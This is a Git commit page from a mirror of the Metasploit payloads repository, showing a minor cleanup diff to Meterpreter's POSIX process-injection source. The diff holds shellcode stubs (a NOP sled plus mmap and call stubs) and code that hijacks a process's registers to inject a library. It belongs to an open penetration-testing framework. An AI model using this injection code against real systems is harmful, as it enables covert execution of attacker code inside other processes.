github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-20 20:37:27 +01:00
Code Releases Activity

Do minor cleanup

Browse Source
This commit is contained in:
jvazquez-r7 2015-01-02 19:09:43 -06:00
parent cdae73a282
commit 775d94cb65
1 changed files with 31 additions and 29 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
c/meterpreter/source/common/arch/posix/base_inject.c
View File

@ -25,16 +25,16 @@
*/ */
/*! @brief mmap code stub */ /*! @brief mmap code stub */
UCHAR mmap_stub[] = UCHAR mmap_stub[] =
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x31\xed" \ "\x31\xed" \
@ -58,16 +58,16 @@ UCHAR mmap_stub[] =
*/ */
/*! @brief call code stub */ /*! @brief call code stub */
UCHAR call_stub[] = UCHAR call_stub[] =
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x68\x04\x00\x00\x00" \ "\x68\x04\x00\x00\x00" \
"\x68\xff\xff\xff\xff" \ "\x68\xff\xff\xff\xff" \
@ -175,7 +175,7 @@ LONG
execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) { execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) {
LONG i = 0; LONG i = 0;
LONG result = 0; LONG result = 0;
struct user_regs_struct my_regs; struct user_regs_struct stub_regs;
if (stub_size == 0 || stub == NULL) if (stub_size == 0 || stub == NULL)
return ERROR_INVALID_PARAMETER; return ERROR_INVALID_PARAMETER;
@ -184,16 +184,18 @@ execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size)
if (result != 0) if (result != 0)
return result; return result;
result = getregs(pid, &my_regs); // Jump into the nops stub, makes code modification
// more reliable.
result = getregs(pid, &stub_regs);
if (result != 0) if (result != 0)
return result; return result;
dprintf("[EXECUTE_STUB] Was to execute... 0x%x", my_regs.eip); dprintf("[EXECUTE_STUB] Original EIP 0x%x", stub_regs.eip);
my_regs.eip = my_regs.eip + 8; stub_regs.eip = stub_regs.eip + 8;
result = setregs(pid, &my_regs); result = setregs(pid, &stub_regs);
if (result != 0) if (result != 0)
return result; return result;
dprintf("[EXECUTE_STUB] Executing... 0x%x", my_regs.eip); dprintf("[EXECUTE_STUB] Redirecting to 0x%x", stub_regs.eip);
result = cont(pid); result = cont(pid);
if (result != 0) if (result != 0)
@ -336,8 +338,8 @@ inject_library(LONG pid, library *l) {
dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax); dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax);
stack_mem = regs.eax + STACK_SIZE; stack_mem = regs.eax + STACK_SIZE;
regs.esp = stack_mem;//regs.eax + STACK_SIZE; regs.esp = stack_mem;
regs.eip = code_mem;//s.regs.eip; regs.eip = code_mem;
result = setregs(pid, &regs); result = setregs(pid, &regs);
if (result != 0) if (result != 0)
@ -360,7 +362,7 @@ inject_library(LONG pid, library *l) {
dprintf("[INJECT] Fixing registers"); dprintf("[INJECT] Fixing registers");
regs.esp = stack_mem; regs.esp = stack_mem;
regs.eip = code_mem;//s.regs.eip; regs.eip = code_mem;
result = setregs(pid, &regs); result = setregs(pid, &regs);
if (result != 0) if (result != 0)
goto restore; goto restore;